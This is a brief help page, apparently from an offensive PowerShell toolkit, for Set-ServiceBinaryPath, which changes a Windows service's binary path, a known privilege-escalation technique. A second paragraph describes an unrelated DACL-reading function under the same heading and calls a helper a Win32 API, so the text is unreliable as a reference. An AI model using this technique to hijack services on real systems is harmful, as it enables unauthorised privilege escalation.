SYNTAX

Set-ServiceBinaryPath [-Name] <String[]> [-Path] <String>

DESCRIPTION

Takes a service Name or a ServiceProcess.ServiceController on the pipeline and first opens up a service handle to the service with ConfigControl access using the GetServiceHandle Win32 API call. ChangeServiceConfig is then used to set the binary path (lpBinaryPathName/binPath) to the string value specified by binPath, and the handle is closed off.

Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a Dacl field to each object. It does this by opening a handle with ReadControl for the service with using the GetServiceHandle Win32 API call and then uses QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service.
